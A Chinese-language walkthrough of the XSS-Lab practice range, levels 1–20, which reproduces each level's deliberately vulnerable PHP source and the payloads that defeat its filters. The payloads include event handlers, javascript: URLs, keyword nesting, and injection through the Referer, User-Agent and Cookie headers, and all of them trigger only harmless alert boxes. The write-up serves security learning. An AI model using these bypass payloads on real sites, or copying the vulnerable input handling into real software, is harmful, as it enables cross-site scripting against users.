XSS-Lab通关总结笔记
第一关
初次接触xss漏洞,通过了解需要使用JavaScript语句进行弹窗,观察页面发现通过get模式进行传递参数,所以在第一关应该没有那么难,使用经典语句进行测试。
<script>alert('hello,gaga!');</script>
通过JavaScript语句成功进行弹窗
查看网页源代码,参数在h2标签里面,所以这一关没有任何的防护措施。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户test</h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>
第二关
通过观察页面,发现有一个搜索框,测试经典语句进行keyword的参数传递。
发现经典语句并不能成功进行弹窗,所以查看网页源代码,和数据库源代码。
查看网页源代码,发现参数在input标签里面,所以要先闭合input标签,再使用经典语句进行测试
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和test相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="test">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>
所以先闭合input标签然后进行弹窗
"><script>alert('hello,gaga!');</script>
成功进行弹窗
第三关
后面的越来越难所以先查看网页源代码进行查看网页进行了哪些防护措施
查看网页源代码,发现参数还是在input标签里面,查看数据库源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value=''>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
先闭合input标签,测试是否可以进行弹窗,发现并不能成功进行弹窗,查看网页源代码,发现尖括号转换成html编码。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和’><script>alert('hello,gaga!');</script> 相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='’><script>alert('hello,gaga!');</script> '>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:45</h3></body>
</html>
所以不能使用标签进行xss弹窗,先使用单引号’闭合标签,然后使用焦点事件进行弹窗,输入了下面的代码,点击文本成功进行弹窗。
' οnclick='alert(1)
第四关
现在已经出现了过滤特殊符号的防御机制,所以首先使用特殊符号进行测试,查看都过滤了哪些的特殊符号,查看数据库源代码,过滤了什么,在进行选择使用什么类型的代码进行xss弹窗,查看网页源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和try harder!相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value="try harder!">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:11</h3></body>
</html>
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
这一关把尖括号给过滤掉了所以还是不能使用标签进行弹窗,使用焦点事件进行弹窗
因为value是使用双引号开始,随意使用双引号进行闭合
" οnclick="alert(1)"
成功弹窗
第五关
首先还是先测试过滤防御机制,查看源代码发现
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
检查发现过滤的script标签内的i,on也进行了过滤,还进行了大小写的转换
所以这里不能使用script标签进行弹窗
也不能使用焦点事件进行弹窗,所有的事件都带有on
所以选择一个没有这些关键字的标签进行弹窗测试
"><a href="javascript:alert(1)"
成功弹窗
第六关
先查看源代码检查过滤机制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
通过检查源代码发现,对传入的参数一些关键字进行了过滤,包括script,on,src,data,href都继续宁了过滤,所以就不能延用上一关的方法,但是没有过滤大小写,通过大写代码进行测试
"><SCRIPT>alert(1)</SCRIPT>
同样也是先闭合value属性,然后进行代码的执行。
成功弹窗
第七关
检查源代码,判断过滤机制
```php
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
发现网页被过滤了script,on,src,data,href,并且还转化了大小写
但是可以使用嵌套的方式进行测试
"><scscriptript>alert(1)</scrscriptipt>
" oonnclick="alert(1)"
成功弹窗
第八关
检查源代码,查看过滤
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
通过检查发现输入转换了大小写,script,on,src,data,href,双引号都被编码了
所以采用html编码进行测试弹窗
javascript:alert(1)
成功弹窗
第九关
检察院代码,查看过滤机制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
这一关在上一关的基础上进行了url地址的判断,进行判断输入的是否为一个链接,并且必须为http协议的url,所以我们将弹窗的内容进行更改,改为http://。
javascript:alert('http://')
成功弹窗
第十关
查看源代码,检查网页过滤机制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
这一关没有输入的文本框,并且url中传递的参数并不是要注入的地方,所以通过分析源代码,获得注入的隐藏目标,隐藏目标是t_sort,但是尖括号被过滤了,所以不能使用标签进行弹窗,使用事件也无法成弹窗,所以使用html的accesskey属性,或者使用type属性
t_sort=2" accesskey="x" οnclick="alert(1)
t_sort=2" accesskey="x" οnclick="alert(1)" type="text"
访问成功后,点击文本框,即可进行弹窗
第十一关
检查源代码,观察过滤机制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
通过观察,过滤了尖括号,可能注入的地方应该是t_sort,还有一个server http_referer
测试t_sort接收的参数是否可以进行弹窗
t_sort=2" accesskey="x" οnclick="alert(1)" type="text"
但是并没有成功弹窗
所以t_sort这个接收的参数是用来迷惑攻击者的
改为http_referer测试,使用burpsuit对http头部进行抓包,再进行注入
添加字段后页面出现INPUT输入框,点击触发弹窗
本关通过源代码对输入的字符进行过滤,对攻击者进行迷惑
第十二关
检查网页源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
代码中input标签下变量t_ua的值是浏览器的版本,对应注入点位置,对尖括号进行了过滤防御,注入方法同十一关
所以在HTTP头部信息User-Agent字段进行修改
因为过滤了尖括号,所以采用事件触发条件
" οnmοuseοver=alert(1)" type="test"
第十三关
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
对网页源代码进行查看,通过测试变量,T_cook是可以返回内容的,所以注入点应该在Cookie
通过burp抓包,Cookie显示的内容是t_cook的值,所以对Cookie字段进行修改
同时,防御机制对尖括号继续宁过滤,还是采用事件触发形式进行注入
user=2" οnmοuseοver="alert(1)" type="text"
第十四关
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>
对网页源代码进行查看,并没有注入点,是一个静态页面
iframe调用的文件地址失效,无法进行测试。
应该是通过修改iframe调用的文件实现xss注入
第十五关
<html ng-app>
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
检查网页源代码
提交的参数src
,插入到<span>标签的class属性
中,前面有ng-include
的字符,是angular js
中的关键字,作用相当于php的include函数
,是先将1.git
文件包含进去,用于包含外部HTML文件,属性的值可以是一个表达式,返回文件名,包含的文件需要包含在同一域名下,参数是一个HTML页面,包含的内容作为指定元素的子节点
ng-include,单独指向地址,必须加引号
ng-include,加载外部HTML,script标签中的内容不执行
ng-include,加载外部HTML中含有style标签可以识别
先尝试将参数设置为靶场的第一关
level5php?src='level1'
level1的页面被加载,在level15中没有注入点,但是level1
中有注入点,在level1中进行注入
src='level1.php?name=1<script>alert(1)</script>'
并没有弹窗提示,还以为是按照level1的防御机制去做,其实还是level15的过滤机制要绕过,所以采用其他标签事件属性进行触发
src='level1.php?name=<img src=1 οnerrοr=alert(1)>'
成功弹窗
第十六关
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>
查看网页源代码,发现参数值被插入到
使用经典语句测试,script,/,空格,被编码成空格字符实体,无法对前面的标签进行闭合,但是换行并没有进行过滤,/也被编码,需要使用不需要闭合的标签
<img
src='1'
onerror=alert(1)
>
换行使用url编码%0a代替
成功弹窗
第十七关
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>
检查网页源代码,url中提交了两个参数,参数都传递到标签的src属性中,这个标签应该可以作为突破,使用了htmlspecialchars()函数
进行了过滤,标签引入了一swf文件到浏览器端,src属性值设置添加引号,并不需要闭合
网页显示并不支持插件,我也不知道是我没安装还是就是不支持,但是我明显可以去QQ农场偷菜啊,使用事件触发进行测试
onclick=alert(1)
点击页面显示swf文件区域时成功弹窗
onmouseover 也可以成功触发
第十八关
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level19.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>
检查网页源代码,URL中传递了两个参数值,但是只显示了一个FLASH文件,传递的参数还是出现在标签的src属性中
使用十七关的事件触发条件测试,成功插入url,成功触发弹窗
第十九关
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level20.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level19</title>
</head>
<body>
<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>
检查网页源代码,src的值使用双引号进行包围,如果执行脚本代码,需要闭合标签,但是htmlspecialchars()函数进行过滤防御,无法闭合
这关需要对引用的swf稳健性反编译,对代码进行审计分析,反编译的工具是jpexs-decompiler
第二十关
同上一关解题步骤